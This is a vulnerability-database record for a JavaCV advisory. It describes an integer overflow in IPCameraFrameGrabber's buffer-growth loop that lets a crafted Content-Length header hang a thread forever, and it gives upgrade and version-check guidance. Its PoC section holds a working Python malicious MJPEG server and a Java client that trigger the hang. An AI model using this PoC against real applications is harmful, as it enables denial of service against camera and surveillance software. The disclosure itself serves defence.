{"id":"CVE-2026-102834","kind":"vulnerability","aliases":["CVE-2026-102834","GHSA-rxjv-24xq-76wc"],"related":[],"title":"JavaCV: Integer Overflow in IPCameraFrameGrabber Causes Infinite-Loop DoS","description":"### Summary\n`IPCameraFrameGrabber` parses the `Content-Length` value from the multipart MJPEG HTTP stream returned by the configured IP camera without any bounds checking. A malicious or compromised camera endpoint - or any network attacker able to tamper with the plaintext HTTP response (these streams are conventionally accessed over `http://`, as documented in the class itself) - can supply a `Content-Length` value in the range `1073741825`-`2147483647`. This drives the internal buffer-growth routine `ensureBufferCapacity(int)` into 32-bit signed integer overflow, which turns the \"grow the buffer\" loop into a true infinite loop: the loop variable oscillates to `0` and never again satisfies the loop's exit condition. The thread that called `grab()`/`grabBufferedImage()` spins at 100% CPU forever and never returns, permanently hanging the calling application's frame-grabbing thread with no exception, timeout, or interrupt path available to the caller.\n\n### Details\nFile: `src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java`\n\n```java\nprivate byte[] readImage() throws IOException {\n    ...\n    int c0 = subheader.indexOf(\"content-length: \");\n    final int c1 = subheader.indexOf('\\r', c0);\n    if (c0 < 0) {\n        throw new EOFException(\"The camera stream ended unexpectedly\");\n    }\n    c0 += 16;\n    final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim());   // <-- fully attacker-controlled\n    // adaptive size - careful - don't want a 2G jpeg\n    ensureBufferCapacity(contentLength);                                              // <-- no upper bound enforced\n    input.readFully(pixelBuffer, 0, contentLength);\n    ...\n}\n\nprivate void ensureBufferCapacity(int desiredCapacity) {\n    int capacity = pixelBuffer.length;          // starts at 1024\n    while (capacity < desiredCapacity) {\n        capacity *= 2;                          // <-- unchecked int multiplication\n    }\n    if (capacity > pixelBuffer.length) {\n        pixelBuffer = new byte[capacity];\n    }\n}\n```\n\n`contentLength` is taken verbatim from the HTTP response headers of the camera stream and passed directly into `ensureBufferCapacity` with no upper-bound validation (the comment \"adaptive size - careful - don't want a 2G jpeg\" shows the author was aware of the risk but never implemented a check).\n\n`ensureBufferCapacity` repeatedly doubles `capacity` (a 32-bit `int`, starting at `pixelBuffer.length == 1024`) until it is `>= desiredCapacity`. If `desiredCapacity` is greater than `2^30` (`1073741824`) but `<= Integer.MAX_VALUE` (`2147483647`):\n\n1. `capacity` reaches `2^30` (`1073741824`) after 20 doublings; the loop condition `capacity < desiredCapacity` is still true.\n2. `capacity *= 2` computes `2^31`, which overflows a signed 32-bit `int` and wraps to `Integer.MIN_VALUE` (`-2147483648`).\n3. The loop condition `capacity < desiredCapacity` (a negative number compared to a large positive `desiredCapacity`) is still true, so the loop continues.\n4. `capacity *= 2` computes `Integer.MIN_VALUE * 2`, which in two's-complement 32-bit arithmetic wraps to `0`.\n5. From this point on, `capacity` is permanently `0` (`0 * 2 == 0`), and `0 < desiredCapacity` remains true forever - the `while` loop never terminates.\n\nThis is a pure CPU-bound loop with no I/O, no blocking call, and no `InterruptedException` check, so it cannot be interrupted via `Thread.interrupt()` and will not respect any `readTimeout`/`connectionTimeout` configured on the grabber (those only apply to the socket read that happens *before* this code path). The only remedy is killing the JVM/thread from outside.\n\n### PoC\nA minimal malicious/MITM'd MJPEG server that reproduces the hang:\n\n```python\nimport socket\n\nsrv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsrv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nsrv.bind((\"0.0.0.0\", 8080))\nsrv.listen(1)\nprint(\"listening on :8080\")\nconn, _ = srv.accept()\nconn.recv(4096)  # swallow the client's request\n\n# Any value in (1073741824, 2147483647] triggers the overflow.\nmalicious_length = 2000000000\nheader = (\n    \"--myboundary\\r\\n\"\n    \"Content-Type: image/jpeg\\r\\n\"\n    \"Content-Length: %d\\r\\n\\r\\n\" % malicious_length\n)\nconn.sendall(header.encode())\n# The client will now spin forever inside ensureBufferCapacity()\n# before ever attempting to read the (fake) body.\n```\n\nJava client (representative of any application embedding javacv to view an \"IP camera\" URL):\n\n```java\nimport org.bytedeco.javacv.IPCameraFrameGrabber;\nimport java.util.concurrent.TimeUnit;\n\npublic class Poc {\n    public static void main(String[] args) throws Exception {\n        IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(\n            \"http://127.0.0.1:8080/videostream.cgi\", 5, 5, TimeUnit.SECONDS);\n        grabber.start();\n        grabber.grab(); // never returns; thread pegs a CPU core at 100% forever\n    }\n}\n```\n\nRunning the client against the malicious server above causes `grab()` to hang permanently, consuming a full CPU core, regardless of the `startTimeout`/`grabTimeout` passed to the constructor.\n\n### Impact\nAny application that uses `IPCameraFrameGrabber` to consume a camera/MJPEG stream from a source that is not fully trusted - including the common case of plain `http://` streams (as shown in the class's own documented examples: `http://host/videostream.cgi?...`) that can be tampered with by a network-position attacker - can be forced into a permanent, unrecoverable CPU-spinning hang of the grabbing thread by a single crafted response header. No authentication, JPEG payload, or actual data transfer is required; the malicious header alone is sufficient. Repeated exploitation against a server that spawns a grabber thread per client/camera (a common pattern for video-surveillance/monitoring backends) can exhaust available threads/CPU, resulting in a broader denial of service.","summary":"JavaCV's IPCameraFrameGrabber trusts the Content-Length header of an MJPEG HTTP stream, so a value between 1073741825 and 2147483647 overflows an int in the buffer-growth loop and the thread spins at 100% CPU forever. An attacker who controls the camera endpoint or can tamper with plaintext http:// responses can permanently hang any thread calling grab() or grabBufferedImage().","severity":"high","cvss":7.5,"epss":0.0033499998971819878,"exploited":false,"exploited_at":null,"products":[{"name":"org.bytedeco:javacv","fixed":["1.5.14"],"affected":"< 1.5.14","ecosystem":"maven"}],"ecosystems":["maven"],"tags":["cwe-190","ip-camera","java","javacv","package","video-surveillance"],"not_affected_if":["javacv-1.5.14-or-later","no-ipcameraframegrabber-use","trusted-https-camera-only"],"how_to_check":"Run `mvn dependency:list | grep javacv` or inspect the org.bytedeco:javacv version in pom.xml or build.gradle; affected if below 1.5.14.\nCheck whether code instantiates IPCameraFrameGrabber against URLs that are untrusted or reached over http://.","fix":"Upgrade org.bytedeco:javacv to 1.5.14 or later.\nIf the upgrade is not immediate, only read camera streams from trusted, TLS-protected endpoints.","status":"open","published_at":"2026-10-16T19:53:06+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T19:55:46+00:00","updated_at":"2026-10-23T19:55:46+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T19:55:46Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade org.bytedeco:javacv to 1.5.14 or later.\nIf the upgrade is not immediate, only read camera streams from trusted, TLS-protected endpoints.","summary":"JavaCV's IPCameraFrameGrabber trusts the Content-Length header of an MJPEG HTTP stream, so a value between 1073741825 and 2147483647 overflows an int in the buffer-growth loop and the thread spins at 100% CPU forever. An attacker who controls the camera endpoint or can tamper with plaintext http:// responses can permanently hang any thread calling grab() or grabBufferedImage().","category":"package","who_cares":["java","javacv","video-surveillance","ip-camera"],"confidence":0.8,"analyst_note":"","how_to_check":"Run `mvn dependency:list | grep javacv` or inspect the org.bytedeco:javacv version in pom.xml or build.gradle; affected if below 1.5.14.\nCheck whether code instantiates IPCameraFrameGrabber against URLs that are untrusted or reached over http://.\nunknown","needs_analyst":false,"not_affected_if":["javacv-1.5.14-or-later","no-ipcameraframegrabber-use","trusted-https-camera-only"],"severity_if_unknown":"unknown"},"cost_usd":0.000656,"input_tokens":4276,"output_tokens":457,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-102834':13A,21A '-190':25B '-2026':12A,20A '-2147483648':441C '0':194C,262C,302C,482C,491C,492C,494C,496C '0.0.0.0':591C '1':406C,589C,594C '100':70B,212C '1024':314C,389C '1073741824':401C,411C,611C '1073741825':53B,159C '16':272C '2':319C,399C,409C,423C,425C,427C,466C,470C,493C '20':413C '21':612C '2147483647':55B,160C,405C '24xq':17A '2g':292C,363C '3':442C '30':400C,410C '31':428C '32':172C,383C,433C,477C '4':464C '4096':602C '5':483C '76wc':18A '8080':592C,598C 'abl':129C 'access':141C 'adapt':285C,356C 'appli':544C 'applic':222C 'arithmet':479C 'attack':74B,128C,283C 'attacker-control':282C 'author':367C 'avail':235C 'awar':369C 'bit':173C,384C,434C,478C 'block':518C 'bound':117C,298C,352C,512C 'buffer':62B,166C,182C 'buffer-growth':61B,165C 'byte':244C,328C 'c0':249C,259C,261C,271C,278C 'c1':256C,279C 'call':91B,207C,221C,519C 'caller':238C 'camera':28B,78B,114C,123C,267C,341C 'cannot':526C 'capac':310C,316C,318C,324C,329C,381C,407C,418C,424C,446C,465C,488C 'care':287C,358C 'caus':6A 'check':118C,377C,523C 'class':147C 'client':605C 'code':553C 'comment':355C 'compar':451C 'complement':476C 'compromis':122C 'comput':426C,467C 'condit':203C,417C,445C 'configur':112C,538C 'conn':599C 'conn.recv':601C 'connectiontimeout':537C 'content':41B,100C,153C,252C 'content-length':40B,99C,152C,251C 'contentlength':275C,295C,303C,330C 'continu':463C 'control':76B,284C 'convent':140C 'cpu':71B,213C,511C 'cpu-bound':510C 'cve':11A,19A 'cwe':24B 'd':568C 'desiredcapac':308C,317C,393C,395C,419C,447C,456C,497C 'detail':239C 'direct':345C 'document':144C 'dos':10A 'doubl':380C,414C 'drive':162C 'end':269C 'endpoint':79B,124C 'enforc':299C 'ensurebuffercapac':169C,294C,306C,347C,378C 'eofexcept':265C 'except':230C 'exit':202C 'file':240C 'final':254C,273C 'forev':72B,214C,500C 'frame':225C 'frame-grab':224C 'fulli':281C 'ghsa':15A 'ghsa-rxjv-24xq-76wc':14A 'grab':92B,208C,226C 'grabber':541C 'grabbufferedimag':94B,209C 'greater':397C 'grow':180C 'growth':63B,167C 'hang':88B,219C,574C 'happen':550C 'header':43B,338C 'http':47B,107C,135C,336C 'i/o':516C 'implement':375C 'import':576C 'inet':581C 'infinit':8A,187C 'infinite-loop':7A 'input.readfully':300C 'int':58B,170C,248C,255C,274C,307C,309C,321C,385C,435C 'integ':2A,175C 'integer.max':403C 'integer.min':439C,468C 'integer.parseint':276C 'intern':164C 'interrupt':233C,528C 'interruptedexcept':522C 'ioexcept':247C 'ip':27B,113C 'ip-camera':26B 'ipcameraframegrabb':5A,37B,96C 'java':29B,242C 'javacv':1A,23A,30B,35B 'jpeg':293C,364C 'jvm/thread':561C 'kill':559C 'larg':454C 'length':42B,101C,154C,253C 'listen':596C 'loop':9A,64B,183C,188C,190C,200C,416C,444C,462C,503C,513C 'malici':120C 'malicious/mitm':567C 'minim':566C 'mjpeg':46B,106C,569C 'multipart':105C 'multipl':322C 'negat':449C 'network':127C 'never':196C,216C,374C,504C 'new':264C,327C 'number':450C 'org.bytedeco':22A 'oscil':192C 'outsid':563C 'overflow':3A,56B,176C,430C 'packag':31B 'pars':97C 'pass':344C 'path':234C,554C 'perman':87B,218C,490C 'pixelbuff':301C,326C 'pixelbuffer.length':311C,325C,388C 'plaintext':84B,134C 'poc':564C 'point':486C 'posit':455C 'print':595C 'privat':243C,304C 'pure':509C 'python':575C 'r':258C 'rang':158C 'reach':408C 'read':548C 'readimag':245C 'readtimeout':536C 'remain':498C 'remedi':557C 'repeat':379C 'reproduc':572C 'request':607C 'respect':534C 'respons':85B,136C,337C 'return':109C,217C 'reuseaddr':588C 'risk':372C 'routin':168C 'rxjv':16A 's-complement':474C 'satisfi':198C 'server':570C 'show':365C 'sign':174C,432C 'size':286C,357C 'socket':547C,577C,586C 'socket.af':580C 'socket.so':587C 'socket.sock':582C 'socket.socket':579C 'socket.sol':585C 'spin':68B,210C 'src/main/java/org/bytedeco/javacv/ipcameraframegrabber.java':241C 'srv':578C 'srv.accept':600C 'srv.bind':590C 'srv.listen':593C 'srv.setsockopt':584C 'start':312C,386C 'still':421C,458C 'stream':48B,108C,138C,268C,342C,583C 'subheader.indexof':250C,257C 'subheader.substring':277C 'summari':95C 'suppli':150C 'surveil':34B 'swallow':603C 'taken':332C 'tamper':82B,131C 'termin':505C 'thread':67B,90B,205C,227C 'thread.interrupt':530C 'throw':246C,263C 'timeout':231C 'trim':280C 'true':186C,422C,459C,499C 'trust':38B 'turn':178C 'two':473C 'uncheck':320C 'unexpect':270C 'upper':297C,351C 'upper-bound':350C 'valid':353C 'valu':51B,102C,155C,404C,440C,469C,609C 'variabl':191C 'verbatim':333C 'via':529C 'video':33B 'video-surveil':32B 'void':305C 'want':290C,361C 'without':115C 'wrap':437C,480C","nicknames":[],"mitigations":[],"who_affected":null,"tier":null,"verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-16T19:53:06+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-rxjv-24xq-76wc","url":"https://github.com/advisories/GHSA-rxjv-24xq-76wc","severity":"high","published_at":"2026-10-16T19:53:06+00:00","modified_at":"2026-10-16T19:53:09+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-102834","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102834","severity":null,"published_at":"2026-10-16T20:17:17+00:00","modified_at":"2026-10-19T20:52:31+00:00","first_seen_at":"2026-10-23T21:57:14+00:00","fetched_at":"2026-10-23T22:28:55+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}